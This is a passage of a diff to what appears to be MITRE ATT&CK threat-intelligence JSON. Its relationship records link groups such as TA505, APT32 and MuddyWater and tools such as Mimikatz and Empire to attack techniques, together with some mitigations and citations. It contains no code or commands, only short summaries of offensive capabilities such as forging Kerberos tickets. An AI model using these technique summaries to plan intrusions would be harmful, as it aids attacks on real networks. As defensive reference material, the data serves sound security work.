Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)", + "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", + "modified": "2021-04-20T20:10:26.732Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T14:56:19.347Z", + "external_references": [ + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--83f862a4-cfac-4665-8ff8-60df70a636f4", + "description": "Enabled features, such as Protected Process Light (PPL), for LSA.(Citation: Microsoft LSA)", + "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", + "modified": "2021-04-20T20:10:26.714Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T14:56:19.362Z", + "external_references": [ + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). 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(2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "source_name": "ESET Ebury Feb 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc0433bf-560f-4b5f-879c-f87581d7f504", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has used a DGA to generate a domain name for C2.(Citation: ESET Ebury Feb 2014)(Citation: ESET Ebury Oct 2017)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2021-02-10T18:41:29.384Z", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-16T15:17:43.158Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "source_name": "ESET Ebury Feb 2014" + }, + { + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.", + "source_name": "ESET Ebury Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36f7b849-03af-4567-be71-2e1eb1520b2a", + "description": "Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard dylib folders.", + "target_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", + "modified": "2021-04-02T13:42:01.654Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-16T15:23:31.062Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bced764f-e4f1-43d0-af3b-ae93d607041a", + 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Invoke-TokenManipulation to manipulate access tokens.(Citation: Github PowerShell Empire)", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2021-04-09T14:47:00.146Z", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-16T16:57:26.820Z", + "external_references": [ + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb498ebf-bdb4-476c-9b7a-1a83c19d03fb", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-TokenManipulation for manipulating tokens.(Citation: GitHub PoshC2)", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2020-03-16T17:09:47.263Z", + "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-16T17:09:47.263Z", + "external_references": [ + { + "url": "https://github.com/nettitude/PoshC2_Python", + "description": "Nettitude. (2018, July 23). Python Server for PoshC2. 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Retrieved May 5, 2021.", + "source_name": "Check Point APT34 April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6e2a0844-3618-41a7-b45d-12ad690f60a1", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) can use SMTP for C2.(Citation: FireEye APT28)", + "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "modified": "2020-03-17T02:03:18.259Z", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T02:03:18.259Z", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. 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Retrieved February 15, 2018.", + "source_name": "CSM Elderwood Sept 2012" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--822c5044-906d-4c4f-b350-49471beb03a8", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has lured victims to click malicious links delivered via spearphishing emails (often sent from compromised accounts).(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-03-17T14:20:19.916Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T14:20:19.916Z", + "external_references": [ + { + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html", + "description": "Vengerik, B. et al.. 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(2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "source_name": "FireEye Obfuscation June 2017" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f81ae9dc-3299-480f-817c-a5b65cfc38d7", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing email links attempting to get a user to click.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-08-19T16:54:09.824Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T14:45:09.619Z", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba84c2c2-e5bf-432e-9827-6d622490ba2d", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious links delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-03-17T14:46:40.015Z", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T14:46:40.015Z", + "external_references": [ + { + "source_name": "Cylance Machete Mar 2017", + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + }, + { + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--952edf61-e906-4ab5-989f-1d6a5dd95dce", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered malicious links to achieve execution on the target system.(Citation: Unit 42 OopsIE! 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OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--71ee0311-3fdc-4baf-8c3e-2143416b742c", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to click links in emails and attachments. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-05-29T20:09:49.528Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T15:01:32.560Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + }, + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", + "source_name": "Proofpoint TA505 October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fa8d15db-498b-45f5-8cc1-bf4cf70e2e62", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has moved staged encrypted archives to Internet-facing servers that had previously been compromised with [China Chopper](https://attack.mitre.org/software/S0020) prior to exfiltration.(Citation: SecureWorks BRONZE UNION June 2017)", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "modified": "2020-03-17T15:07:32.378Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T15:07:32.378Z", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4eb5fba5-be97-4103-9b52-f77e02765fad", + "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5fa955eb-63da-4281-8904-03f6c04c9d8d", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-17T16:21:36.718Z", + "source_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-17T16:21:36.718Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--35f5caad-87d0-46c5-b2b6-eb69b0eda6bd", + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) uses VNC for lateral movement.(Citation: Securelist GCMAN)", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "modified": "2020-03-17T16:53:09.920Z", + "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T16:53:09.920Z", + "external_references": [ + { + "source_name": "Securelist GCMAN", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.", + "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fde62a7a-0ed1-4077-8275-ebb63eecdd2a", + "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use silver tickets.(Citation: Github PowerShell Empire)", + "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "modified": "2021-04-09T14:47:00.133Z", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T17:23:51.732Z", + "external_references": [ + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bf080191-d58e-4834-8b4f-7315df4d76bf", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create silver tickets.(Citation: GitHub Mimikatz kerberos Module)", + "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "modified": "2020-03-19T23:37:02.700Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T17:37:09.197Z", + "external_references": [ + { + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos", + "description": "Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020.", + "source_name": "GitHub Mimikatz kerberos Module" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b8254f2-bfbb-4775-aaf8-3b5fa3457ee9", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create golden tickets.(Citation: GitHub Mimikatz kerberos Module)(Citation: Cobalt Strike Manual 4.3 November 2020)", + "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", + "modified": "2021-10-18T19:54:13.078Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T17:37:09.217Z", + "external_references": [ + { + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos", + "description": "Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020.", + "source_name": "GitHub Mimikatz kerberos Module" + }, + { + "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", + "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.", + "source_name": "Cobalt Strike Manual 4.3 November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fcd2604b-6954-4bd8-b0c6-22221b6dd1ce", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Unit 42 Kazuar May 2017)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-17T18:17:38.300Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T18:17:38.300Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b019ea9e-afc4-4015-b690-677a09178feb", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used macros, COM scriptlets, and VBS scripts.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017) ", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-03-17T18:19:22.984Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T18:19:22.984Z", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). 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Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49d115fb-7a5a-4a6a-959d-0d76ab8394fb", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses Python scripts for installing files and performing execution.(Citation: CitizenLab KeyBoy Nov 2016)", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "modified": "2020-03-17T19:28:58.355Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T19:28:58.355Z", + "external_references": [ + { + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/", + "description": "Hulcoop, A., et al. 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Nick Carr Status Update APT32 pubprn. Retrieved April 22, 2019.", + "source_name": "Twitter ItsReallyNick APT32 pubprn Masquerade" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bf160f02-ab07-4f2d-8625-5818833bb77f", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has placed malware on file shares and given it the same name as legitimate documents on the share.(Citation: Secureworks BRONZE BUTLER Oct 2017)", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "modified": "2020-03-17T23:33:15.608Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-17T23:33:15.608Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). 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Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4a0ee05d-f020-4811-bba6-56d12c15e275", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload, as well as macros.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2021-03-19T13:38:13.143Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T18:01:36.710Z", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. 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Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0b4ebc81-20fe-45f1-a93f-e6ca03c89114", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used python scripts.(Citation: Morphisec ShellTea June 2019)", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "modified": "2020-03-18T18:52:41.021Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T18:52:41.021Z", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. 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Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2466dc21-d32d-4a62-a815-8f1d5d09d88d", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used VBS scripts as well as embedded macros for execution.(Citation: Rancor Unit42 June 2018)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-03-18T19:39:07.453Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-18T19:39:07.453Z", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). 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Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bce07a45-9955-4466-86ad-35fef741087d", + "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)", + "target_ref": 